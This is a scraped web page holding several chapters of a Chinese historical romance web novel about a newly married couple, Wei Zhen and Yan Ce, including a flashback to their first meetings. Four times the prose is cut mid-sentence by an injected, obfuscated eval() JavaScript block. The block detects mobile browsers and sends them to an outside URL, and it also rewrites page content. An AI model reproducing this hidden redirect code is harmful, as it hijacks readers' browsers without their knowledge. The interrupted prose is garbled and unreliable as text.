卫臻被问住了,其实她并不是生燕策的气,但又说不准自己的情绪到底是什么。 新婚夜,燕策那般爽快地说可以不同|房,她以为他是跟她一样——单纯地不喜欢。 可他今早上那样了,很明显,燕策喜欢那种事,而且很喜欢。 他是睡觉时想着别人所以醒来才会那般吗? 若真是这样,又何必跟她成婚,就因为有过一次吗?可她也不会拿那一次去要挟他。 她不想同|房,和他心里惦记别人所以也不愿意,是两码事。 卫臻虽不爱慕燕策,却也不愿意自己新婚夫婿心里揣着别人。 这种话自然不能对燕策的妹妹讲,卫臻随意找了个由头糊弄了燕敏,可她自己却总忍不住在心里一直想。 如此胡思乱想一日下来,卫臻对“燕策心里有人”这个认知越来越笃定。 睡前她洗漱完坐在妆台前对着镜子擦脸时还在猜: 他心里揣着谁? 镜中人发髻松挽,柔软的指腹把香膏点涂在脸上,轻轻揉开,面颊在灯下泛着细腻柔和的光,涂着涂着,秀气的眉毛却又缓缓蹙起。 卫臻对京中适龄女郎了解并不算多,她猜不出来,又想到旁的:亏她早上还因为挤到他而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860017|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心生愧意,兴许他睡在角落根本就不是被她挤的,而是在躲她。 燕策,真讨厌。 燕策不知道卫臻为什么对着镜子皱眉。 她那么漂亮,照镜时该很开心的。 擦完脸,卫臻抬手把滑到小臂中央的叮当镯褪下来,搁在妆台上,仰头对燕策嗔道:“老看我做什么,再看我就让人给你用草乌头泡茶。” 说完她就垂下头没再看他。 并非生闷气,而是暗自在心里念叨:神天菩萨,只是吓吓他,千万莫要因为这句话记我的口业。 兰怀端着铜盆行至门外,闻言眼皮狠狠跳了跳——草乌头在益州山上很常见,服用过量会致盲,益州的小孩从小都被叮嘱不能碰这个草。 燕策笑了下:“这么关心我啊。” 她主动跟他搭话了。 凶他怎么不算是跟他搭话。 甚至还拐了个弯用草药骂他,都没有直接呛。 可爱。 燕策顺杆爬,在她旁边的绣凳上坐下。 这个绣凳是下午燕敏坐的时候搬过来的,粉色的绒布凳面,与燕策反差极大的颜色。 绣凳与卫臻坐的玫瑰椅紧挨得很近,眼下他坐在上面,腿几乎搁不开,直直抵|着她的膝盖。 卫臻被挤了下,对他更没好脸色,“你烦人。” “别生气。”燕策晃了下腿,轻轻碰她膝盖。 听见里面俩人的对话和软了些,兰怀才端着铜盆进来,轻轻搁在燕策旁边的小几上,而后就退下了。 卫臻以为是和昨夜一样要冰敷,“我不舒坦,你别拿那个冰我了。” “温的,不冰你。” 离她崴脚已过了一日,恢复得很好,可以开始热敷了。 卫臻这才应允。热敷比冰敷时舒坦太多了,脚踝暖烘烘的,人也渐渐被温热的湿帕子泡软了。 趁着燕策低头看她脚踝的间隙,卫臻又把他上上下下打量一遍, 她未曾爱慕过谁,不懂情情爱爱,再怎么打量也揣测不出他的心思,卫臻决定直接把话跟燕策说开: “你以后不要再像早上那样了......” 她不知道其他被迫成婚的新婚夫妻是不是也这样相处,除去早上那次,旁的事情上,其实燕策都做得很妥帖。 眼下二人婚事已成定局,只要燕策往后不惦记别人了,她也不是不能跟他相敬如宾。 若他实在搁不下,她也可以过了新婚就与他和离,二人井水不犯河水。 “翘翘,早上没办法。” 以往他会早起去晨练,能把精力压一压。 可是自从跟她有过一回,开了那个头,他发现晨练也不管用了。 如果可以,他也不想被她看见这个麻烦。 “歪理!”卫臻忍不住用没受伤的右脚踢了他一下。 燕策用膝盖夹住她踢过来的腿,帕子有些凉了,他侧身去盆里用热水拧了一遍, “刚睡醒我自己也做不了主,这个年纪就是这样。” 他扭头的时候,喉结旁的印子全露了出来,那是她昨日被他哄着留下的。 如今听他说完歪话,再看这印子,卫臻只觉得燕策这个人坏透了。 他对别的女郎也是这样吗? 用他天生占优势的相貌,随便哄几句就能骗到人。 真是坏透了。 她无法接受燕策这番说辞:“你这个年纪又如何,年纪轻就可以跟我躺在一起的时候,心里揣着别人吗?” “......什么?” 这次不可置信的成了燕策。 他们在聊的是同一件事吗? 12. 第 12 章 听卫臻支支吾吾说完后,燕策废了好一顿口舌,才把早上他反应的缘由跟她说明白。 他讲完,卫臻就信了个七七八八。 燕策这人性子混,不是会在私事上委屈自己的,着实没必要为了这种事跟她撒谎。 “那你昨日晨起时也......” 方才什么直白的话都讲了,燕策现下已经过分坦然。 他神色如常,边把她脚踝擦干,边如实应了,“那时盖着被子,后来你起身时我又侧身挡住了,所以没被你发现。” 卫臻大为震惊,这事嬷嬷没跟她讲过。 原来他醒来时是为不受控的烦难感到慌乱和尴尬,不是跟她“同床异梦”的心虚。 她倏然想起前几日晨起时她衣裳散了,在他面前出过丑。 现下知道了他的烦难,卫臻莫名有种扳回一局的感觉。 她想日日都赢他—— “往后不准躲着藏着,每天都要给我看。” 燕策原以为经过方才那一通误会和解释,他现下已能坦然应对她说的所有话了。 但卫臻这个要求一说出口,就让他失手给她绫袜系带打了个死结。 她提要求的时候,理不直气也壮,说话的语调偏又温吞,哼哼唧唧的,极无辜。 妆台旁的粉彩梅瓶里,偎着枝杏花,偶有夜风从窗扇缝隙钻入,薄软的花瓣颤了颤,给她的无辜造势。 暖甜的香扑面袭来,她的话似裹了蜜,一直留在燕策耳畔,又打着旋儿往心头里头撞。 卫臻擦完脸就把发髻散开了,柔密乌发落在肩后,绸缎一样顺。 面颊上还有方才跟他生气时透出的薄粉,眼眸清凌凌,在灯下很亮,会让人误以为其中水雾氤氲,湿漉漉。 又纯又漂亮。 但她方才说的话,却与纯挚的面容反差极大。 因着这种反差,更因着话语的主人是她,燕策的心在瞬息间剧烈跳动,半浮半沉着,瞬间跳起来的不止是他的心。 夜风把窗边帘子掀起,拂过瓶中花枝,三两朵小花跌下来,无声落在她袖间。 “怎么现在就......”卫臻被震惊到,黑亮的瞳仁颤了颤,好半晌才骂他一句,“你这个人真讨厌。” “已经讨厌我一整日了。”他把她连人带椅子拖近。 卫臻险些碰到,低呼一声扶上他肩,而后曲折起右腿抱在身前,与之隔开。 “是你说想看的,” 他笑得很疏懒,原本清朗的声线里染上层不属于这个年纪的哑, “翘翘有言出法随的本事。” “又说什么浑话,我这会子没想......” 她方才敢嚣张蛮横地提要求,真势到临头了,却又纸老虎一般。 也不能怪她是纸老虎,卫臻觉得问题还是在出在燕策身上。 她要的不是他这样的反应。 原以为对他提出那样的要求后,燕策会慌张、羞耻、推拒...... 怎样都好,总之就是不能这般恬不知耻地邀请。 太混了。 她拾起落在袖间的几片花瓣,掐出道道小月牙痕,指腹染上杏花汁液,搓起来|黏|糊|糊的,说话的语调也软趴趴:“你若是要......要怎么样,就自个儿去,不准让我看见。” 卫臻怀疑若是不主动制止他,他真会大喇喇地顺杆爬。 “不看了吗?”燕策再次欺近。 太近了。 卫臻垂下头,两个人的发尾也贴在一起了,她指腹缠上一缕捻着,不知道是谁的。 不想抬头去辨认,卫臻知道一抬头就会对上他的视线。 用力扯了一下手上的头发。 她没察觉到痛感,同时伴随着燕策的抽气声。 是他的。 这一下力气不轻,应当挺疼的,是她给他的警告:不准继续这个话题了。 落在燕策那里,也像奖励—— 痛意让他有了更|深|的实|感,她在他怀里的实|感。 燕策学着她的动作,勾上她的发带。 没像她那般捻或者扯,只挑着在指间转了一圈,“你下午给敏敏也编了发带。” “对啊。”卫臻随口应着,把发带从他手里往外扯,但他使着巧劲儿不松手。 拉扯几下,燕策幽幽道:“你昨日说要给我铃铛。” 趁他说话的空,卫臻把发带夺过来捋了捋,原来他在这胡搅蛮缠的是为了这茬。 原只是随口一句调侃,被反复提了这么两三回,倒真莫名成了个正事,卫臻觉得有些好笑,但忍住了。 院中管事已经把账本子和燕策私库的钥匙给她了,燕策在银钱上对她无保留,现在只是找她要个铃铛,卫臻自然舍得。 况且,他这别扭的样子,莫名让她高兴。 卫臻在妆台上左右看了看,她首饰很多,匣子也多,正好燕策那边角落里摆着个黄檀小匣,“你把那个拿过来。” 这个匣子是双层的,把匣子递给她之后,燕策就见卫瑛在上层选了一支钗,没打开下层看。 卫臻把钗上能拆卸的小铃铛取了下来,又从针线笸箩里抽了两条绳子出来。 逐次在他面前摊开两只手掌,每边都各搁着一条丝绳:“要黑色的?还是蓝色的?” 燕策没说话,握住她一只手。 卫臻会意,把他手“啪”一下拍掉,想了一下,开始用黑色的绳子编蛇结,蛇结编出来细细的,纹样也不夸张,适合他戴。 跟编璎珞差不多,但这个只串一颗铃铛就好,不用额外添珠子,卫臻做得很顺手,估摸着能在他手腕绕一圈的时候,她让燕策伸出手臂试一下长度。 燕策垂眸由着她比量, 她的手好像永远都是香的, 绵柔的指腹微微发凉,贴着他手腕上的脉络,水一样淌过。 等卫臻捏着绳子绕着他手腕转了个圈,他才补充:“平日里要绑护腕,会把铃铛勒坏。” 说罢反手扣住她白腻的腕,让她手搭在自己脖颈处,“绑在这里。” 卫臻上身被带着晃了下,一声惊呼, 很轻,像喘,在灯下,在他耳边,轻轻炸开。 同时,微凉的手指被迫刮|蹭|过他的喉结,卫臻用力往后挣了一下没挣脱。 燕策本就没下去,额角跳了跳,浑身窜着股子麻劲儿,喉结在她指腹下缓慢滚动,努力把心头涌起的妄念咽回。 卫臻薄薄的眼皮颤着,低头错开那道缠人的视线。 手再次往回退,她用了很大的力。 但这份力卸在半空了,因为这回她轻轻松松就挣开了。 仿佛刚才那一瞬,他手上对她的束缚只是错觉。 奇奇怪怪的,平白无故捏她手做什么。 手好热,是不是被他捏坏了。 手心好像出汗了,不知道怎么编了。 卫臻乱了章法,一晃神,编错一步。 正欲拆了重新编,莫名被燕策拦住了,卫臻自然愿意省事,便留下那个编错的结,顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860018|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着继续往下编了。 燕策看着她纤长的指节捏着绳子灵活翻动,编出一个又一个紧挨着的漂亮绳结,井然有序,大小一致,中间夹着编错的一步。 她在他眼前慌乱弄错的这一结,好像让他更兴奋。 卫臻很快编完,再串上从她发簪摘下的小银铃,最后缠住他最脆弱的颈。 燕策坐的凳子比她的矮,卫臻倾身凑过去,手指在他颈后调整打结。 从这个角度俯视,先看见的就是他眉骨处的伤,暗红色,边|缘微微|肿,细细一道有些长,却半分狼狈也不显, 这张脸添了战损的痕迹后,好像更好看了。 他眼窝生得深邃,似浓墨勾勒,漂亮的眉骨在灯下投下一小片阴影。 卫臻手绕至他颈前调整着,燕策配合抬起下颌,整张脸露在灯下,眼窝处的阴影就消失了。 取而代之的是,他瞳仁里的影子,她的影子。 小小的影子,在他黑亮的眼睛里摇晃。 绳子系完了,他眸中的影子也变小了, 是她离远了些,在端详他。 他脖颈长,下颌线条明晰利落,铃铛戴在身上很合适。 她的视线又顺着往上,游移至他的耳朵。 相貌生得好的人,连耳廓都让人觉得顺眼。 卫臻倏地有些遗憾,京里的郎君没有打耳洞的习惯,益州那边有很多溧族人,溧族不论男女老少都会佩戴耳饰,是很漂亮的。 燕策知道她一直在看自己,看的时间有些久。 不知道她在看她编的绳结还是看他。 她身上的幽香时不时侵袭过来,余光能看见她白色的裙角垂下来,与他黑色的衣摆叠在一起。 暖黄跳跃的烛光中,她似高坐山头的小神仙,只把舒缓的气息洒在他颈侧。 又仿若一枝摇摇晃晃的花,仿佛一阵风就可以让她栽到他怀里。 喉间有些痒,他蓦地开口,打破了沉默:“明日你要回门,这里要不要现在提前弄一下,明早就不用耽误时辰了。” 他说话的语调像平时一样疏懒,口吻也如常,似真的只是随口一提。 只有搁在她腰侧手知道燕策此刻有多紧张, 他不确定同样的招拿来哄她两次还有没有用。 “什么?”卫臻一时间没反应过来。 直到燕策扯开领口给她看,才明白了他的意思:昨日敬茶之前,为了在长辈那边交差,她给他留了印子。明日要回去见她家里的长辈了,按照他们之前的做法,现在也理应再做一次戏。 卫臻咬了咬唇瓣,迷蒙的眼神缓缓凝在一处,似在审视他这这个提议的可信度。 燕策的手松泛下来,眼神也变得迂回, 他把急切藏得更深,只有无声的呼吸越来越滞|涩。 卫臻看了他好一会儿,没说答应也没直接拒绝,只收紧了指尖勾着的绳子。 燕策脖颈被勒着,霎时蹭红了一道,这绳子很细,所以微微用些力拉扯,他就感觉到痛意。 并不很重,但又真切存在着。 她带来的痛。 喉结艰难滑动了下,他顺着她拉扯的力道慢慢往前凑。 俩人越离越近,呼吸都喷洒在一处。 但—— 快要挨上时,卫臻没再继续靠近他。 她突然松开了手,手上的绳子弹回他颈间,戏耍般拒绝了他先前的提议。 只有铃铛承着她的力道,弹跳着落在他喉结上。 叮铃。 13. 第 13 章 “我家里的长辈又不需要我们交这个差。” 卫臻很干脆地拒绝了。 况且,上次给他留下的印子虽已淡了很多,但凑近了还是能看见的。 休想诓骗她。 “需要的。”他又开始胡搅蛮缠了。 “我说不要就不要。”卫臻轻轻晃着手上的匣子,为自己助势。 晃完又装作很忙的样子,再次打开匣子,整理里边的首饰。 上层的簪子满满当当,摆放得很整齐,根本没什么好收整的,卫臻又顺带着把中层的隔板也拿开了,准备整理第二层的首饰。 隔板一拿开,她手上动作就停住了——原先的首饰都还好好躺在里面,但是多了一条很漂亮的璎珞。 若是她没记错,这条璎珞她原先没有。 也不可能记错,能摆在妆台上的都是她平日里很喜欢的,甚至每一样都叫得上名字,怎么可能记错。 又见燕策在一边撑着下颌看她——只看她,没看她手上的璎珞, 卫臻便知道了是他送的。 这璎珞应当是长条的,很多珠子串在一起,整齐地叠了几下,握|在手上很有分|量。 珠子颜色大多素净,但每颗珠子都饱|满透亮,色彩搭配得十分精巧。 卫臻爱穿颜色鲜亮的衣裳,为了协调,首饰多是素净的,这个璎珞的配色正合她心意。 她把璎珞取出来展开看,上头的宝石在灯下闪着莹莹的光,映得手臂也白净发亮,“真好看,明个回门我要戴这个。” 璎珞底下的穗子随着她的动作晃啊晃,下意识夸完,又怕他顺杆爬提起方才的事情,卫臻忙不迭把璎珞放回去,转移话题道:“......我要去净房。” 燕策慢悠悠笑了下,抱她起来进了净房。 卫臻坐在小杌子上,仰着头看他,像白日里一样嘱咐:“不准呆在门外,我喊你的时候你再过来。” 他应了,临出门还把装着月事带的小盒子给她往里挪了一下,搁在卫臻一伸手就能够到的地方。 很是听话的样子,没再跟她胡搅蛮缠。 卫臻舒出一口气。 收拾完月事,她又把里边小衣的系带弄松了些。这两日身前本就涨涨的,白日里穿的又是紧一些的小衣,更不舒坦了。 但为了防止再像上次晨起时那般散开,卫臻没再穿交领绑带的寝衣,穿的都是圆领盘扣的,怎么折腾都不会乱。 里间的灯依次熄灭,只留榻边一小盏豆粒大的火苗,床帐被燕策落下。 “肚子还难受吗?”在她身侧躺下后他问道。 卫臻背对着燕策,轻轻应了声,“一点点。” 不似昨夜那样疼了,但还是隐隐有些坠|涨|感。 语落,身后响起窸窸窣窣的声音。 卫臻猜,他要像昨晚一样给她|揉|揉。 燕策的动作很慢,刻意地慢,给她留下了拒绝的时间。 她没动,只有帐外烛影摇晃。 于是他的手像昨夜一样,很自然地探|上|她小|腹,轻轻|揉|着。 睡前那一阵子,燕策太听话了,因此卫臻现下完全放松了,被揉|得|舒坦,半梦半醒间,蜷着背离热源越靠越近。 她睡|姿实在算不上多板正,又像昨夜一样往他这边|挤。 烛芯轻轻爆开一下,帐子的影浮动着投在墙上,缈似云烟。 绵绵|拥|雪亦被宽松的寝衣布料拓出形,软软地,垂在锦被上。 随着她不断蜷起的背,快要挨上他的手。 细细的红色系带从她后领口处露|出,系着个漂亮的结,一扯就能开的结。 燕策不敢动了,妄念倾覆,他匆匆阖上眼。 呼吸几瞬,刚要把手收回来,她好像又醒了。 好在,她没回头,未曾发现他的狼狈。 卫臻睡得不沉,只打了个很短的瞌睡。 半梦半醒时下意识抬手,轻|揉了一下|涨涨|的地方。 睁眼后才意识到,她这是躺在他怀里,不是一个人。 垂眸,他的手还留在原处,与她瞌睡前一样。 燕策的手很大,只用一只手就能把她小腹整个拢住,用很轻的力道揉着。 骨节分明,动作间筋脉跌起,与她捂在身前的白腻手掌对比很鲜明。 指节也生得修长,几乎是只要稍微挪一下就能碰上。 好在,他很规矩,没碰上去。 卫臻阖上睡意迷蒙的眼,松了一口气。 又好像有什么想法在某个角落被吊起来了。 飘乎乎地涨。 不能再继续想了。 卫臻把枕畔的毯子扯过来,揉成一团抱在身前,连带着他的手也被压在毯子下。 “睡不着了吗?”燕策问。 卫臻强迫自己想些旁的转移注意力,她拖长尾音胡乱应了他一声,半边脸颊埋进毯子里,传出来的声音闷闷的。 想了一会子明日回门的琐事、选好的衣裳首饰,她又抬起头问他:“那个璎珞你什么时候搁进去的?” “下午,”隔着衣裳,他轻轻挠了她一下, “你都不知道我下午出去过,我往外走的时候你连看都不看。” “你这人真讨厌,又不是孩童了,出门还要我看着吗......” 卫臻哼哼唧唧抱怨着,去掐他的手。 她用得劲儿不大,声音也越来越小,很快迷迷糊糊再次睡着了,因此卫臻也并不知道,燕策在她熟睡后去了净房。 翌日,金乌将要跃过云层,两人都起了个大早,卫臻梳头的时候,韦夫人那边来人把燕策叫了过去。 行至莲心堂,掀开门前软帘,清幽的果香扑鼻而来,韦夫人喜欢在室内摆放花果替代熏香。 燕策从中闻到了香梨、枸橼的味道,以及,他很少见到的,番梨。 他吃番梨起疹子,许多年没吃过了,平时自然也不会用这个做香。 韦夫人见到燕策,叮嘱了一些新婚夫妻回门要注意的事宜,又聊起来府上的大姑娘燕姝。 燕姝是三房独女,幼失怙恃,也是由老太太带大的,及笄后韦夫人开始给她相看人家,几年前她与永安侯薛家的婚事是韦夫人一力促成的。 但没成想,燕姝生下女儿小元不满周年,就与薛家三郎和离归家了。 她虽说自己在薛家没受委屈,可韦夫人总觉得亏欠了她,因此很是上心燕姝的婚事。 韦夫人曾和奉国公商议过,燕姝在家里日子舒坦,又已经有了女儿,与其再给她相看婆家,还不如招赘个听话的上门女婿。 现下韦夫人心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860019|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已大致有了几个中意的人选。 “你舅兄有个同窗名唤范知节,你父亲曾见过此人。今日你陪臻姐儿回门,且向你舅兄探问探问此人品性才学,若果真如你父亲所言品貌端正,”韦夫人执起茶盏轻抿一口,“我再着人去问姝姐儿的心意。” 一样的茶,燕策手边也有。阳羡雪芽,兄长生前最爱喝的茶。 热气带着茶香,氤氲缭绕,燕策没动茶盏,只道:“未必可行,长姐是有主意的。” “她自是有主意,可大好的青春,总不能就这么耗掉,总该有个知冷知热的。儿女亲事,你们没一个让我省心的。” 说完又怕自己这话重了,韦夫人叹了口气,缓声道: “回去吧,跟臻姐儿用完膳就早些去你岳家。” “是。” 燕策站起身,出门前看了眼墙上挂的花鸟画。 他幼时被母亲接回院里,注意到的第一个物件就是这个位置挂的画。 当时挂的是母亲喜欢的一副《三友百禽图》。 八岁的燕策举着角弓把画弄坏了。 很可惜,母亲未曾责罚他。 燕策蓦地想起卫臻。 她每次掐他都不疼,更像是在撒娇。 不知道她梳完头没有,戴着他送的首饰会是什么样子,这般想着,他脚下步伐快了些。 却在浣花院门口遇见了同样步履匆匆的周回: “世子,周流传信来了。” 周流是周回的胞弟,也在燕策手下做事,月前被燕策派出去追查当初给卫臻下药的人。 两月前卫臻在千春楼赴宴时,被人在酒里下了药,给她传话的侍从被灭口。还有一人可疑,是负责当日酒水茶点的,但被他逃了。 现下周流抓到了此人。 ** 等燕策回房时,卫臻已经梳好头发,让人扶着站在穿衣镜前瞧。 吠星在一旁跟着忙前忙后,虽然什么都没做,但就是很忙的样子。 见他回来了,她随口问道:“太太找你去做什么?” “母亲嘱咐我今日不要给翘翘丢人。” “又没个正形。”从镜子里瞥他一眼,卫臻扭头对身旁的侍女吩咐道:“把那条杏色的披帛收起来吧。” 已经戴了长条璎珞,再添披帛就累赘了。 今日她头上没戴很大的步摇,从先前老太太给的一副头面里取了几支钗戴着,其余都是些精致细小的钿花。 身上穿的是珊瑚红色交领外衫,下面的百迭裙像花瓣一样把她围起来,很鲜艳亮眼的一套,又用颜色素雅的长条璎珞压住刚刚好,整个人更添几分轻盈。 这衣裳放量足,用腰带紧紧收束,勾勒出纤细袅娜的腰,长条璎珞在她颈后柔顺地垂下去,后腰的位置悬着枚细腻莹润的玉佩,雕了一簇簇四瓣小花。 玉佩一点一点碰上她后腰,又晃悠着离开,最底下坠着长长的白色流苏,云一样,随着她的动作飘。 吠星围着卫臻转了几圈,又“汪汪”叫着跳起来去够那些流苏,被卫臻“嘶”了两声又老实了。 燕策蓦地有些嫉妒这些脆弱的流苏。 被线拴住,戴在她身上,每次摇晃都是被她牵引, 还会被她放在手中,温柔地捧|握, 让她高兴,让她惦念。 14. 第 14 章 燕策原想回房后就把周流传来的消息告诉卫臻,但看她这会子正开心,且一会儿还要用膳然后出门。 想了想,还是等晚上回来后再跟她讲,免得惹她一整日在外面都惦记这个事。 因着今日要回门,用膳前卫臻还给院里的侍女婆子们发了赏钱,连吠星都被她允许可以额外多吃好几块肉干。 燕策在一旁看着吠星一遍遍来回跑,把几块肉干都叼回窝里藏了。 他觉得好笑,藏什么,这里只有它一只狗。 二人用早膳的时候吠星就趴在卫臻脚边,“嘎嘣嘎嘣”摁着一块肉干啃,啃高兴了就把自己调整成好摸的样子,等着卫臻吃完饭伸手摸它几下。 ——吠星是只聪明的小狗,它已经弄明白了在这个院里谁说了算。 用完早膳燕策像往常一样抱着卫臻往外走,她璎珞上的玉佩与他腰间革带前面的玉扣相碰,叮当作响。 这才第一次戴出门,怕撞坏了,卫臻把玉佩握在手里,又嘱咐道:“小心点,别把后面的珠子弄断了。” 燕策抱着她,边走边应了声。 心头一阵恍惚,不知她是只担心这条璎珞,还是跟他陷入了同一段回忆—— 她的璎珞曾在他跟前断过一次,珠子落了一地。 那日她把他认错成兄长,他留了她一颗珠子。 ** 燕策第一次见到卫臻是在三年前。 他去益州的栖霞观拜访同尘道长,被前来上香的卫臻当成了观中的道士,找他求签问卦。 同尘道长本名袁光,武艺高强,与燕明远有旧,燕策是袁光在俗时收的徒弟,因此,燕策只跟着袁光学过如何打架如何杀人,从未学过求签解卦。 但燕策是见过袁光抽签的,大致知道该怎么做: 一直抽,抽到满意为止。 若始终抽不到满意的,就自己去签筒内挑一支顺眼的。 这不难。 燕策在家里时经常忽悠妹妹,他觉得自己也能够应付这个还梳着双髻的年轻女郎。 况且,她手气很好。 第一次就抽中了吕祖灵签: 庚戊,上上,别时杨柳,逢时桃夭。 只是这签文对卫臻来说有些没头没尾, 她抬头望了一眼观里那棵大得出奇的柳树,是从墙里长出来的,听说有灵性,躲过很多次天灾。柔韧的新绿枝条披拂而下,不知道活了多少年,树身粗可合抱。 确实有杨柳,卫臻又想了一圈儿,她最近并没有亲友要远行,何来的“别”? 但上上签意头都是极好的,卫臻并不贪心,知道是好事就行了。 她留了卦银,又见眼前这个道士虽然身量很高,听声音却像是个十几岁的少年, 于是卫臻从自己拎着的小篮子里抓了一把酥糖给他搁下,道过谢,雀跃着往回走了。 石榴裙拂过台阶, 卫臻发间银饰“叮当”着响了三两遍, 越飘越远。 燕策看了一眼她抽的签, 随手掷回签筒间。 ** 二人再次见面,是在燕策十七那年。 他在塞北之役中斩下郅支的人头,自己也伤得不轻,回京后就被韦夫人拘在府内养伤。 那段时间几乎每日有人想登门探望,外人的帖子尚可以直接拒了,可面对族内宗亲无法一拒了之。 燕策嫌烦,干脆去别处躲清闲,有时候是老太太院里,有时候是胞妹燕敏那边。 几株桃树倚着白墙,枝干横斜,缀满了桃花,微风拂过,满树浅粉簌簌地摇,花瓣打着旋儿落在石板路上。 燕策靠在燕敏院中廊下的躺椅上偷闲,侍从端来两盏汤药,他摆摆手让人搁在一旁小案上。 太苦了,他不喜欢喝。 一阵脚步声走近又停了,燕策以为是侍从,很快却又听见珠子“噼里啪啦”落在地上的声音,伴随着女郎的惊呼声。 他睁开眼,没想到—— 是她。 很细微的两个字落在燕策心头,轻飘飘的,顷刻间盖住了身旁汤药散发出的苦。 卫臻前些日才到京里,受燕敏邀约来这边府上,没想到燕敏院里有位郎君,她正欲避开,佩戴的的璎珞却断了,珠子落了一地,来不及顾虑旁的,与身后侍女一齐蹲下捡珠子。 还有几颗滚动到燕策这边,他抬手帮忙捡了。 本朝男女大防虽并不严,但毕竟是初次见面的外男,卫臻没敢走近端详他的脸,只余光能大致分辩出这人相貌生得好,一旁小几上还搁着汤药,燕府的侍女对他也毕恭毕敬。 卫臻猜这就是与她有婚约的那位燕府二郎君,她虽还没正儿八经见过他,但也知道他仪容甚美,身子有些病弱。 侍女过去接他捡的珠子,卫臻没大喇喇打量对方,只微微垂着头远远道了谢:“多谢二郎君。” 燕策躬身捡珠子的动作一顿, 二郎,是兄长。 她把他当成了兄长。 鬼使神差地,他生出几分不满,又被不满驱使着,留了她一颗珠子。 等人离开了,燕策看着手心那颗莹白的珍珠,不懂自己同这个陌生的女郎置什么气。 想不通。 他又命人去库房里取了几盒成色好的南珠给燕敏送去。 燕策知道燕敏得了东西喜欢分与手帕交,今日燕敏也定会把珍珠赠给她, 就当是,他藏她这颗珠子的赔礼。 那段时日,燕策不停受赏,同袍见面便向他道贺,年少扬名,圣眷正浓,他该很快意的。 可这份快意,却始终压不住心头的好奇。 对她的好奇。 燕策一个人静下来时,总是忍不住去想, 想她是否还记得当初在栖霞观抽的签, 想,她叫什么名字。 再后来,燕策知道了她的名字 卫臻。 母亲一直念叨的,要上门的小娇客,自小与兄长有婚约的女郎, 是她。 好巧。 日后该如何与她相处。 她知道自己认错人了吗。 若知道了,为何不跟他说。 这些问题困扰了燕策许多天。 或者说,他用这些问题做了许多天的幌子—— 其实,兄长的未婚妻,是不需要他这个弟弟去相处的。 匆匆一面,认错了也没关系,并不是什么很重要的事,二人往后也并不会有旁的交集。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869932|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这些燕策当时都未曾意识到。 他只顾得上不满:她的眼睛那么大那么漂亮,竟然会认错人。 在道观里初次相见那日,他易容改了相貌,她不记得他很正常。 可是入京后二人又几次相见,她竟也始终未发觉自己当日见的人是他吗? 燕策不满。 于是,但凡休沐的日子,他都要想方设法与卫臻“偶遇”。 他想让她记住他的脸。 如此几次之后,燕策猛然意识到, 太幼稚了。 何必这般独自较劲。 他消停了半个多月,没再去“偶遇”她。 后来裴侍郎家的小公子被拍花子拐走,险些找不回来,燕策带人在城外四十里才追到,又把歹人连窝端。 这事让燕策一阵后怕。 他知道自己小时候也曾险些被拐走,当时那伙歹人也早已被绳之以法。 可如今多年过去,又有人开始干拐|卖|妇孺的营生——恶人是永远除不尽的。 卫臻刚入京不到一年,并不熟知京中道路,出门也没有侍卫随护,只有车夫并她的侍女跟着,太容易被拍花子盯上了...... 燕策不敢继续想。 于是他又一次,鬼使神差地,挑了几名身手矫健的女子,在暗地里保护卫臻,祝余就是其中一个。 后来兄长病逝,很可耻,燕策为兄长悲痛之余,心里最大的念头竟然是:她没有婚约了。 等到意识到自己的可耻时,想她的时间已经越来越长了。 燕明远曾经很多次批评过燕策,说他太过莽撞冒进。 他年轻,性子傲,尚不知天高地厚。 有一身的本事,还有整个燕家给他兜底。 各种意义上,燕策都有几乎无穷的试错成本,自然冒进,许多事都是他凭着一股子劲儿莽出来的。 唯有对卫臻的感情,他独自犹豫着咀嚼了一次又一次。 在一次次咀嚼中,燕策捅破了欲盖弥彰的窗户纸,正面了心里头那份对她的,爱慕。 爱慕不是凭空出现的—— 初次见面时,莫名其妙记住了她的衣裳首饰,记住了她抽的签。 重逢后那句轻飘飘的“是她”。 